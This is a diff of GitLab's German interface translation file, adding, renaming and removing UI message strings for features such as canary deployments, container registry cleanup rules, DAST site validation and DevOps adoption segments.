+msgstr ""
+
msgid "Can't create snippet: %{err}"
msgstr ""
@@ -4752,6 +4924,12 @@ msgstr ""
msgid "Canary Deployments is a popular CI strategy, where a small portion of the fleet is updated to the new version of your application."
msgstr "Canary Deployments sind eine beliebte CI-Strategie, in der zunächst ein kleiner Teil deines Serverparks auf neue Anwendungsversionen aktualisiert werden."
+msgid "Canary Ingress does not exist in the environment."
+msgstr ""
+
+msgid "Canary weight must be specified and valid range (0..100)."
+msgstr ""
+
msgid "Cancel"
msgstr "Abbrechen"
@@ -4785,9 +4963,6 @@ msgstr "Der Missbrauchsbericht kann nicht erstellt werden. Der/Die Benutzer(in)
msgid "Cannot enable shared runners because parent group does not allow it"
msgstr ""
-msgid "Cannot find user key."
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -4929,6 +5104,9 @@ msgstr "Änderungen"
msgid "Changes affect new repositories only. If not specified, Git's default name %{branch_name_default} will be used."
msgstr ""
+msgid "Changes affect new repositories only. If not specified, either the configured application-wide default or Git's default name %{branch_name_default} will be used."
+msgstr ""
+
msgid "Changes are shown as if the %{b_open}source%{b_close} revision was being merged into the %{b_open}target%{b_close} revision."
msgstr ""
@@ -4947,9 +5125,6 @@ msgstr ""
msgid "Changes won't take place until the index is %{link_start}recreated%{link_end}."
msgstr "Die Änderungen werden nicht ausgeführt bis %{link_start}neu indexiert%{link_end} wurde."
-msgid "Changing a Release tag is only supported via Releases API. %{linkStart}More information%{linkEnd}"
-msgstr "Das Ändern eines Release-Tags wird nur über die Release-API unterstützt. %{linkStart}Weitere Informationen%{linkEnd}"
-
msgid "Changing group URL can have unintended side effects."
msgstr ""
@@ -5016,6 +5191,9 @@ msgstr "Erneut prüfen"
msgid "Check feature availability on namespace plan"
msgstr "Überprüfe die Verfügbarkeit der Funktion im Namensraum"
+msgid "Check out, review, and merge locally"
+msgstr ""
+
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr "Lies die %{docs_link_start}Dokumentation%{docs_link_end}."
@@ -5202,12 +5380,6 @@ msgstr "Untergeordnetes Epic existiert nicht."
msgid "Chinese language support using"
msgstr ""
-msgid "Choose %{strong_open}Create archive%{strong_close} and wait for archiving to complete."
-msgstr ""
-
-msgid "Choose %{strong_open}Next%{strong_close} at the bottom of the page."
-msgstr ""
-
msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr "Wähle einen Branch/Tag (z. B. %{master}) oder gib einen Commit ein (z. B. %{sha}), um zu sehen, was geändert wurde oder um einen Merge-Request zu erstellen."
@@ -5241,6 +5413,9 @@ msgstr "Datei auswählen…"
msgid "Choose labels"
msgstr ""
+msgid "Choose specific groups or storage shards"
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr "Wähle die übergeordnetste Gruppe für deine Repository-Importe."
@@ -5409,7 +5584,7 @@ msgstr ""
msgid "ClassificationLabelUnavailable|is unavailable: %{reason}"
msgstr "ist nicht verfügbar: %{reason}"
-msgid "Cleanup policy for tags"
+msgid "Clean up image tags"
msgstr ""
msgid "Cleanup policy maximum processing time (seconds)"
@@ -5451,10 +5626,10 @@ msgstr "Gewichtung entfernt."
msgid "Clears weight."
msgstr ""
-msgid "Click the %{strong_open}Download%{strong_close} button and wait for downloading to complete."
+msgid "Click %{link_start}here%{link_end} to view the request."
msgstr ""
-msgid "Click the %{strong_open}Select none%{strong_close} button on the right, since we only need \"Google Code Project Hosting\"."
+msgid "Click %{link_to} to view the request."
msgstr ""
msgid "Click the button below to begin the install process by navigating to the Kubernetes page"
@@ -5502,7 +5677,7 @@ msgstr ""
msgid "Close"
msgstr "Schließen"
-msgid "Close %{display_issuable_type}"
+msgid "Close %{issueType}"
msgstr ""
msgid "Close %{tabname}"
@@ -5511,9 +5686,6 @@ msgstr "Schließe %{tabname}"
msgid "Close epic"
msgstr "Epic schließen"
-msgid "Close issue"
-msgstr ""
-
msgid "Close milestone"
msgstr "Meilenstein abschließen"
@@ -5604,6 +5776,9 @@ msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr "%{appList} wurde erfolgreich auf deinem Kubernetes-Cluster installiert"
+msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
+msgstr ""
+
msgid "ClusterIntegration|%{externalIp}.nip.io"
msgstr ""
@@ -5712,6 +5887,9 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr "CA-Zertifikat"
+msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
+msgstr ""
+
msgid "ClusterIntegration|Cert-Manager"
msgstr "Cert-Manager"
@@ -5970,9 +6148,6 @@ msgstr "Cluster gruppieren"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm Tiller"
-msgstr "Helm Tiller"
-
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
@@ -6075,6 +6250,9 @@ msgstr "Lerne mehr über die Kubernetes Gruppen-Cluster"
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
+msgid "ClusterIntegration|Legacy Helm Tiller server"
+msgstr ""
+
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -6408,7 +6586,7 @@ msgstr ""
msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
msgstr ""
-msgid "ClusterIntegration|The associated Tiller pod, the %{gitlabManagedAppsNamespace} namespace, and all of its resources will be deleted and cannot be restored."
+msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
msgstr ""
msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
@@ -6749,6 +6927,9 @@ msgstr "Commit (beim Bearbeiten der Commit-Nachricht)"
msgid "Commit Message"
msgstr "Commit-Nachricht"
+msgid "Commit changes"
+msgstr ""
+
msgid "Commit deleted"
msgstr "Commit gelöscht"
@@ -6872,9 +7053,6 @@ msgstr ""
msgid "Compliance framework (optional)"
msgstr ""
-msgid "Compliance frameworks"
-msgstr ""
-
msgid "ComplianceDashboard|created by:"
msgstr ""
@@ -7046,6 +7224,9 @@ msgstr ""
msgid "Consistency guarantee method"
msgstr ""
+msgid "Contact Sales to upgrade"
+msgstr ""
+
msgid "Contact sales to upgrade"
msgstr "Wenden Sie sich an Sales, um ein Upgrade durchzuführen"
@@ -7070,7 +7251,7 @@ msgstr ""
msgid "Container repositories"
msgstr ""
-msgid "Container repositories sync capacity"
+msgid "Container repositories synchronization concurrency limit"
msgstr ""
msgid "Container repository"
@@ -7098,6 +7279,9 @@ msgstr ""
msgid "ContainerRegistry|%{toggleStatus} - Tags matching the patterns defined below will be scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|%{toggleStatus} - Tags that match the rules on this page are automatically scheduled for deletion."
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -7173,6 +7357,15 @@ msgstr ""
msgid "ContainerRegistry|Invalid tag: missing manifest digest"
msgstr ""
+msgid "ContainerRegistry|Keep tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep the most recent:"
+msgstr ""
+
+msgid "ContainerRegistry|Keep these tags"
+msgstr ""
+
msgid "ContainerRegistry|Login"
msgstr ""
@@ -7182,6 +7375,15 @@ msgstr ""
msgid "ContainerRegistry|Missing or insufficient permission, delete button disabled"
msgstr ""
+msgid "ContainerRegistry|Next cleanup scheduled to run on:"
+msgstr ""
+
+msgid "ContainerRegistry|Not yet scheduled"
+msgstr ""
+
+msgid "ContainerRegistry|Note: Any policy update will result in a change to the scheduled run date and time"
+msgstr ""
+
msgid "ContainerRegistry|Number of tags to retain:"
msgstr ""
@@ -7205,7 +7407,16 @@ msgid_plural "ContainerRegistry|Remove tags"
msgstr[0] ""
msgstr[1] ""
-msgid "ContainerRegistry|Set cleanup policy"
+msgid "ContainerRegistry|Remove tags matching:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove tags older than:"
+msgstr ""
+
+msgid "ContainerRegistry|Remove these tags"
+msgstr ""
+
+msgid "ContainerRegistry|Run cleanup:"
msgstr ""
msgid "ContainerRegistry|Some tags were not deleted"
@@ -7214,6 +7425,9 @@ msgstr ""
msgid "ContainerRegistry|Something went wrong while fetching the cleanup policy."
msgstr ""
+msgid "ContainerRegistry|Something went wrong while fetching the image details."
+msgstr ""
+
msgid "ContainerRegistry|Something went wrong while fetching the repository list."
msgstr ""
@@ -7235,21 +7449,30 @@ msgstr ""
msgid "ContainerRegistry|Sorry, your filter produced no results."
msgstr ""
-msgid "ContainerRegistry|Tag expiration policy"
-msgstr ""
-
msgid "ContainerRegistry|Tag successfully marked for deletion."
msgstr ""
msgid "ContainerRegistry|Tags successfully marked for deletion."
msgstr ""
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}kept%{strongEnd}, even if they match a removal rule below. The %{secondStrongStart}latest%{secondStrongEnd} tag is always kept."
+msgstr ""
+
+msgid "ContainerRegistry|Tags that match these rules are %{strongStart}removed%{strongEnd}, unless a rule above says to keep them."
+msgstr ""
+
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}be preserved:%{italicEnd}"
msgstr ""
msgid "ContainerRegistry|Tags with names matching this regex pattern will %{italicStart}expire:%{italicEnd}"
msgstr ""
+msgid "ContainerRegistry|Tags with names that match this regex pattern are kept. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "ContainerRegistry|Tags with names that match this regex pattern are removed. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|The cleanup policy timed out before it could delete all tags. An administrator can %{adminLinkStart}manually run cleanup now%{adminLinkEnd} or you can wait for the cleanup policy to automatically run again. %{docLinkStart}More information%{docLinkEnd}"
msgstr ""
@@ -8038,9 +8261,6 @@ msgstr "Farben anpassen"
msgid "Customize how FogBugz email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
msgstr "Passe an, wie E-Mail-Adressen und Benutzernamen von FogBugz in GitLab importiert werden. Im nächsten Schritt kannst du die Projekte auswählen, die du importieren möchtest."
-msgid "Customize how Google Code email addresses and usernames are imported into GitLab. In the next step, you'll be able to select the projects you want to import."
-msgstr "Passe an, wie E-Mail-Adressen und Benutzernamen von Google Code in GitLab importiert werden. Im nächsten Schritt kannst du die Projekte auswählen, die du importieren möchtest."
-
msgid "Customize icon"
msgstr "Symbol anpassen"
@@ -8101,6 +8321,9 @@ msgstr ""
msgid "CycleAnalyticsEvent|Merge request created"
msgstr ""
+msgid "CycleAnalyticsEvent|Merge request first commit time"
+msgstr ""
+
msgid "CycleAnalyticsEvent|Merge request first deployed to production"
msgstr ""
@@ -8226,9 +8449,6 @@ msgstr ""
msgid "CycleAnalytics|stage dropdown"
msgstr ""
-msgid "DAG"
-msgstr ""
-
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
@@ -8277,7 +8497,10 @@ msgstr ""
msgid "DastProfiles|Are you sure you want to delete this profile?"
msgstr ""
-msgid "DastProfiles|Could not create site validation token. Please refresh the page, or try again later."
+msgid "DastProfiles|Authentication"
+msgstr ""
+
+msgid "DastProfiles|Authentication URL"
msgstr ""
msgid "DastProfiles|Could not create the scanner profile. Please try again."
@@ -8304,9 +8527,6 @@ msgstr ""
msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
msgstr ""
-msgid "DastProfiles|Could not retrieve site validation status. Please refresh the page, or try again later."
-msgstr ""
-
msgid "DastProfiles|Could not update the scanner profile. Please try again."
msgstr ""
@@ -8328,15 +8548,15 @@ msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
-msgid "DastProfiles|Download validation text file"
-msgstr ""
-
msgid "DastProfiles|Edit scanner profile"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
+msgid "DastProfiles|Enable Authentication"
+msgstr ""
+
msgid "DastProfiles|Error Details"
msgstr ""
@@ -8370,9 +8590,18 @@ msgstr ""
msgid "DastProfiles|No profiles created yet"
msgstr ""
+msgid "DastProfiles|Not Validated"
+msgstr ""
+
msgid "DastProfiles|Passive"
msgstr ""
+msgid "DastProfiles|Password"
+msgstr ""
+
+msgid "DastProfiles|Password form field"
+msgstr ""
+
msgid "DastProfiles|Please enter a valid timeout value"
msgstr ""
@@ -8406,64 +8635,85 @@ msgstr ""
msgid "DastProfiles|Site Profiles"
msgstr ""
-msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Target URL"
msgstr ""
-msgid "DastProfiles|Site must be validated to run an active scan."
+msgid "DastProfiles|Target timeout"
msgstr ""
-msgid "DastProfiles|Spider timeout"
+msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
msgstr ""
-msgid "DastProfiles|Step 1 - Choose site validation method"
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
msgstr ""
-msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgid "DastProfiles|Turn on AJAX spider"
msgstr ""
-msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgid "DastProfiles|Username"
msgstr ""
-msgid "DastProfiles|Target URL"
+msgid "DastProfiles|Username form field"
msgstr ""
-msgid "DastProfiles|Target timeout"
+msgid "DastProfiles|Validated"
msgstr ""
-msgid "DastProfiles|Text file validation"
+msgid "DastSiteValidation|Copy HTTP header to clipboard"
msgstr ""
-msgid "DastProfiles|The maximum number of minutes allowed for the spider to traverse the site."
+msgid "DastSiteValidation|Could not create validation token. Please try again."
msgstr ""
-msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgid "DastSiteValidation|Download validation text file"
msgstr ""
-msgid "DastProfiles|Turn on AJAX spider"
+msgid "DastSiteValidation|Header validation"
+msgstr ""
+
+msgid "DastSiteValidation|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following HTTP header to your site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastSiteValidation|Step 3 - Confirm header location and validate"
msgstr ""
-msgid "DastProfiles|Validate"
+msgid "DastSiteValidation|Step 3 - Confirm text file location and validate"
msgstr ""
-msgid "DastProfiles|Validate target site"
+msgid "DastSiteValidation|Text file validation"
msgstr ""
-msgid "DastProfiles|Validating..."
+msgid "DastSiteValidation|The validation has failed. Please try again."
msgstr ""
-msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgid "DastSiteValidation|The validation is in progress. Please wait..."
msgstr ""
-msgid "DastProfiles|Validation failed. Please try again."
+msgid "DastSiteValidation|Validate"
msgstr ""
-msgid "DastProfiles|Validation is in progress..."
+msgid "DastSiteValidation|Validate target site"
msgstr ""
-msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgid "DastSiteValidation|Validated"
msgstr ""
-msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgid "DastSiteValidation|Validating..."
+msgstr ""
+
+msgid "DastSiteValidation|Validation failed"
+msgstr ""
+
+msgid "DastSiteValidation|Validation succeeded. Both active and passive scans can be run against the target site."
msgstr ""
msgid "Data is still calculating..."
@@ -8577,9 +8827,6 @@ msgstr ""
msgid "Default stages"
msgstr ""
-msgid "Default: Directly import the Google Code email address or username"
-msgstr "Standard: Importiere direkt die Google Code-E-Mail-Adresse oder den Nutzernamen"
-
msgid "Default: Map a FogBugz account ID to a full name"
msgstr "Standard: Ordne eine FogBugz-Konto-ID einem vollständigen Namen zu"
@@ -8604,8 +8851,8 @@ msgstr ""
msgid "Delayed Project Deletion (%{adjourned_deletion})"
msgstr ""
-msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after it's timer finishes."
-msgstr "Bist du sicher, dass du %{jobName} sofort ausführen möchtest? Andernfalls wird dieser Job nach Ablauf des Timers automatisch ausgeführt."
+msgid "DelayedJobs|Are you sure you want to run %{jobName} immediately? Otherwise this job will run automatically after its timer finishes."
+msgstr ""
msgid "DelayedJobs|Are you sure you want to run %{job_name} immediately? This job will run automatically after it's timer finishes."
msgstr "Bist du sicher, dass du %{job_name} sofort ausführen möchtest? Dieser Job wird automatisch nach Ablauf des Timers ausgeführt."
@@ -8688,9 +8935,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -9096,6 +9340,9 @@ msgstr ""
msgid "Deployment|running"
msgstr "läuft"
+msgid "Deployment|skipped"
+msgstr ""
+
msgid "Deployment|success"
msgstr ""
@@ -9114,6 +9361,9 @@ msgstr "Beschreibe die Anforderung hier"
msgid "Description"
msgstr "Beschreibung"
+msgid "Description (optional)"
+msgstr ""
+
msgid "Description parsed with %{link_start}GitLab Flavored Markdown%{link_end}"
msgstr ""
@@ -9150,6 +9400,9 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
+msgid "DesignManagement|Archive design"
+msgstr ""
+
msgid "DesignManagement|Archive designs"
msgstr ""
@@ -9207,6 +9460,9 @@ msgstr ""
msgid "DesignManagement|Discard comment"
msgstr "Kommentar verwerfen"
+msgid "DesignManagement|Download design"
+msgstr ""
+
msgid "DesignManagement|Error uploading a new design. Please try again."
msgstr ""
@@ -9285,15 +9541,9 @@ msgstr "Details (Standard)"
msgid "Detect host keys"
msgstr "Hostschlüssel erkennen"
-msgid "DevOps"
-msgstr ""
-
msgid "DevOps Report"
msgstr ""
-msgid "DevOps Score"
-msgstr ""
-
msgid "DevopsAdoptionSegmentSelection|The maximum number of selections has been reached"
msgstr ""
@@ -9303,15 +9553,84 @@ msgstr ""
msgid "DevopsAdoptionSegment|The maximum number of segments has been reached"
msgstr ""
+msgid "DevopsAdoptionSegment|The maximum number of selections has been reached"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} group selected (20 max)"
+msgstr ""
+
+msgid "DevopsAdoption|%{selectedCount} groups selected (20 max)"
+msgstr ""
+
msgid "DevopsAdoption|Add a segment to get started"
msgstr ""
msgid "DevopsAdoption|Add new segment"
msgstr ""
+msgid "DevopsAdoption|An error occured while saving the segment. Please try again."
+msgstr ""
+
+msgid "DevopsAdoption|Approvals"
+msgstr ""
+
+msgid "DevopsAdoption|Create new segment"
+msgstr ""
+
+msgid "DevopsAdoption|Deploys"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption uses segments to track adoption across key features. Segments are a way to track multiple related projects and groups at once. For example, you could create a segment for the engineering department or a particular product team."
msgstr ""
+msgid "DevopsAdoption|Feature adoption is based on usage over the last 30 days. Last updated: %{timestamp}."
+msgstr ""
+
+msgid "DevopsAdoption|Issues"
+msgstr ""
+
+msgid "DevopsAdoption|MRs"
+msgstr ""
+
+msgid "DevopsAdoption|My segment"
+msgstr ""
+
+msgid "DevopsAdoption|Name"
+msgstr ""
+
+msgid "DevopsAdoption|New segment"
+msgstr ""
+
+msgid "DevopsAdoption|Pipelines"
+msgstr ""
+
+msgid "DevopsAdoption|Runners"
+msgstr ""
+
+msgid "DevopsAdoption|Scanning"
+msgstr ""
+
+msgid "DevopsAdoption|Segment"
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsAdoption|There was an error fetching Segments. Please refresh the page to try again."
+msgstr ""
+
+msgid "DevopsReport|Adoption"
+msgstr ""
+
+msgid "DevopsReport|DevOps"
+msgstr ""
+
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
+msgid "DevopsReport|Score"
+msgstr ""
+
msgid "Diff content limits"
msgstr "Diff Inhaltsbeschränkungen"
@@ -9500,9 +9819,6 @@ msgstr ""
msgid "Do not display offers from third parties within GitLab"
msgstr ""
-msgid "Do you want to customize how Google Code email addresses and usernames are imported into GitLab?"
-msgstr "Möchtest du festlegen, wie die E-Mail-Adressen und Nutzernamen von Google Code in GitLab importiert werden?"
-
msgid "Dockerfile"
msgstr "Dockerfile"
@@ -9575,9 +9891,6 @@ msgstr "Artefakte herunterladen"
msgid "Download as"
msgstr ""
-msgid "Download as CSV"
-msgstr ""
-
msgid "Download codes"
msgstr "Codes herunterladen"
@@ -9626,9 +9939,15 @@ msgstr ""
msgid "Drop or %{linkStart}upload%{linkEnd} designs to attach"
msgstr ""
+msgid "Drop or %{linkStart}upload%{linkEnd} files to attach"
+msgstr ""
+
msgid "Drop your designs to start your upload."
msgstr ""
+msgid "Drop your files to start your upload."
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -9734,6 +10053,9 @@ msgstr ""
msgid "Edit in single-file editor"
msgstr ""
+msgid "Edit inline"
+msgstr ""
+
msgid "Edit issues"
msgstr "Tickets bearbeiten"
@@ -9809,6 +10131,9 @@ msgstr ""
msgid "Email Notification"
msgstr ""
+msgid "Email cannot be blank"
+msgstr ""
+
msgid "Email could not be sent"
msgstr ""
@@ -9839,6 +10164,9 @@ msgstr ""
msgid "Email updates (optional)"
msgstr ""
+msgid "Email: %{email}"
+msgstr ""
+
msgid "EmailError|It appears that the email is blank. Make sure your reply is at the top of the email, we can't process inline replies."
msgstr "Die E-Mail scheint leer zu sein. Stelle sicher, dass sich die Antwort oben in der E-Mail befindet. Wir können keine Inline-Antworten verarbeiten."
@@ -9911,7 +10239,7 @@ msgstr ""
msgid "Enable"
msgstr "Aktivieren"
-msgid "Enable %{link_start}Gitpod%{link_end} integration to launch a development environment in your browser directly from GitLab."
+msgid "Enable %{linkStart}Gitpod%{linkEnd} integration to launch a development environment in your browser directly from GitLab."
msgstr ""
msgid "Enable Auto DevOps"
@@ -9929,6 +10257,9 @@ msgstr ""
msgid "Enable Incident Management inbound alert limit"
msgstr ""
+msgid "Enable Kroki"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -10280,6 +10611,9 @@ msgstr "Derzeit werden alle Ergebnisse angezeigt."
msgid "Environments|Delete"
msgstr ""
+msgid "Environments|Delete '%{environmentName}'?"
+msgstr ""
+
msgid "Environments|Delete environment"
msgstr ""
@@ -10391,6 +10725,9 @@ msgstr "Umgebung stoppen"
msgid "Environments|Stopping"
msgstr "Stoppe"
+msgid "Environments|Stopping %{environmentName}"
+msgstr ""
+
msgid "Environments|There was an error fetching the logs. Please try again."
msgstr ""
@@ -10628,9 +10965,6 @@ msgstr "Fehler beim Laden der Vorlage."
msgid "Error loading viewer"
msgstr "Fehler beim Laden des Viewers"
-msgid "Error message:"
-msgstr ""
-
msgid "Error occurred when fetching sidebar data"
msgstr ""
@@ -10667,6 +11001,9 @@ msgstr ""
msgid "Error occurred. User was not unlocked"
msgstr ""
+msgid "Error parsing CSV file. Please make sure it has"
+msgstr ""
+
msgid "Error rendering markdown preview"
msgstr ""
@@ -10745,6 +11082,9 @@ msgstr ""
msgid "Errors"
msgstr ""
+msgid "Errors found on line %{line_number}: %{error_lines}. Please check if these lines have a requirement title."
+msgstr ""
+
msgid "Errors:"
msgstr "Fehler:"
@@ -10979,6 +11319,9 @@ msgstr ""
msgid "Export as CSV"
msgstr ""
+msgid "Export commit custody report"
+msgstr ""
+
msgid "Export group"
msgstr "Gruppe exportieren"
@@ -11087,6 +11430,9 @@ msgstr ""
msgid "Failed to create a branch for this issue. Please try again."
msgstr ""
+msgid "Failed to create framework"
+msgstr ""
+
msgid "Failed to create import label for jira import."
msgstr ""
@@ -11222,6 +11568,9 @@ msgstr ""
msgid "Failed to reset key. Please try again."
msgstr ""
+msgid "Failed to retrieve page"
+msgstr ""
+
msgid "Failed to save merge conflicts resolutions. Please try again!"
msgstr ""
@@ -11261,6 +11610,9 @@ msgstr "Tickets konnten nicht aktualisiert werden, bitte versuche es erneut."
msgid "Failed to update tag!"
msgstr ""
+msgid "Failed to update the Canary Ingress."
+msgstr ""
+
msgid "Failed to update."
msgstr ""
@@ -11300,12 +11652,18 @@ msgstr ""
msgid "Feature Flags"
msgstr "Feature Flags"
+msgid "Feature flag is not enabled on the environment's project."
+msgstr ""
+
msgid "Feature flag was not removed."
msgstr ""
msgid "Feature flag was successfully removed."
msgstr ""
+msgid "Feature not available"
+msgstr ""
+
msgid "FeatureFlags|%d user"
msgid_plural "FeatureFlags|%d users"
msgstr[0] ""
@@ -11473,6 +11831,9 @@ msgstr ""
msgid "FeatureFlags|New user list"
msgstr ""
+msgid "FeatureFlags|No user list selected"
+msgstr ""
+
msgid "FeatureFlags|Percent of users"
msgstr ""
@@ -11497,9 +11858,6 @@ msgstr ""
msgid "FeatureFlags|Rollout Strategy"
msgstr ""
-msgid "FeatureFlags|Select a user list"
-msgstr ""
-
msgid "FeatureFlags|Set the Unleash client application name to the name of the environment your application runs in. This value is used to match environment scopes. See the %{linkStart}example client configuration%{linkEnd}."
msgstr ""
@@ -11560,6 +11918,9 @@ msgstr "Feb"
msgid "February"
msgstr "Februar"
+msgid "Fetch and check out the branch for this merge request"
+msgstr ""
+
msgid "Fetching incoming email"
msgstr ""
@@ -11602,7 +11963,7 @@ msgstr ""
msgid "File renamed with no changes."
msgstr ""
-msgid "File sync capacity"
+msgid "File synchronization concurrency limit"
msgstr ""
msgid "File templates"
@@ -11728,12 +12089,6 @@ msgstr ""
msgid "Find file"
msgstr "Finde Datei"
-msgid "Find the downloaded ZIP file and decompress it."
-msgstr "Finde die heruntergeladene ZIP-Datei und dekomprimiere sie."
-
-msgid "Find the newly extracted %{code_open}Takeout/Google Code Project Hosting/GoogleCodeProjectHosting.json%{code_close} file."
-msgstr ""
-
msgid "Fingerprint"
msgstr ""
@@ -11758,9 +12113,6 @@ msgstr "Erster Wochentag"
msgid "First name"
msgstr ""
-msgid "First name is too long (maximum is %{max_length} characters)."
-msgstr ""
-
msgid "First seen"
msgstr ""
@@ -11806,9 +12158,6 @@ msgstr "FogBugz-Import"
msgid "Folder/%{name}"
msgstr "Ordner/%{name}"
-msgid "Follow the steps below to export your Google Code project data."
-msgstr "Befolge die nachstehenden Schritte, um deine Google Code-Projektdaten zu exportieren."
-
msgid "Font Color"
msgstr "Schriftfarbe"
@@ -11893,6 +12242,9 @@ msgstr ""
msgid "Found errors in your .gitlab-ci.yml:"
msgstr "Fehler in deiner .gitlab-ci.yml gefunden:"
+msgid "Framework successfully deleted"
+msgstr ""
+
msgid "Free Trial"
msgstr ""
@@ -11920,9 +12272,6 @@ msgstr ""
msgid "From %{providerTitle}"
msgstr ""
-msgid "From Google Code"
-msgstr "Von Google Code"
-
msgid "From issue creation until deploy to production"
msgstr "Von der Ticketbeschreibung bis zur Bereitstellung"
@@ -12409,6 +12758,9 @@ msgstr ""
msgid "GitLab API"
msgstr ""
+msgid "GitLab Account Request"
+msgstr ""
+
msgid "GitLab Billing Team."
msgstr ""
@@ -12442,6 +12794,9 @@ msgstr "GitLab-Nutzer(in)"
msgid "GitLab Workhorse"
msgstr ""
+msgid "GitLab account request rejected"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -12652,15 +13007,12 @@ msgstr "Zurück"
msgid "Go back (while searching for files)"
msgstr "Gehe zurück (während der Suche nach Dateien)"
-msgid "Go back to %{startTag}Open issues%{endTag} and select some issues to add to your board."
+msgid "Go back to %{tagStart}Open issues%{tagEnd} and select some issues to add to your board."
msgstr ""
msgid "Go full screen"
msgstr ""
-msgid "Go to %{link_to_google_takeout}."
-msgstr "Gehe zu %{link_to_google_takeout}."
-
msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
msgstr ""
@@ -12775,12 +13127,6 @@ msgstr ""
msgid "Google Cloud Platform"
msgstr ""
-msgid "Google Code import"
-msgstr "Google Code-Import"
-
-msgid "Google Takeout"
-msgstr "Google Takeout"
-
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
msgstr ""
@@ -13015,6 +13361,12 @@ msgstr ""
msgid "GroupRoadmap|No start date – %{dateWord}"
msgstr ""
+msgid "GroupRoadmap|Roadmaps can display up to 1,000 epics. These appear in your selected sort order."
+msgstr ""
+
+msgid "GroupRoadmap|Some of your epics might not be visible"
+msgstr ""
+
msgid "GroupRoadmap|Something went wrong while fetching epics"
msgstr "Beim Abfragen der Epics ist etwas schief gelaufen"
@@ -13408,12 +13760,6 @@ msgstr ""
msgid "GroupsTree|Are you sure you want to leave the \"%{fullName}\" group?"
msgstr "Bist du sicher, dass du die Gruppe \"%{fullName}\" verlassen willst?"
-msgid "GroupsTree|Create a project in this group."
-msgstr "Erstelle ein Projekt in dieser Gruppe."
-
-msgid "GroupsTree|Create a subgroup in this group."
-msgstr "Erstelle eine Untergruppe in dieser Gruppe."
-
msgid "GroupsTree|Edit group"
msgstr "Gruppe bearbeiten"
@@ -13489,6 +13835,9 @@ msgstr "Keine Probleme erkannt"
msgid "HealthCheck|Unhealthy"
msgstr "Problematisch"
+msgid "Hello %{name},"
+msgstr ""
+
msgid "Hello there"
msgstr ""
@@ -13640,9 +13989,6 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
-msgid "How to upgrade"
-msgstr ""
-
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -13784,6 +14130,9 @@ msgstr ""
msgid "If using GitHub, you’ll see pipeline statuses on GitHub for your commits and pull requests. %{more_info_link}"
msgstr "Wenn du GitHub verwendest, siehst du den Pipeline-Status für deine Commits und Pull-Anfragen, auf GitHub. %{more_info_link}"
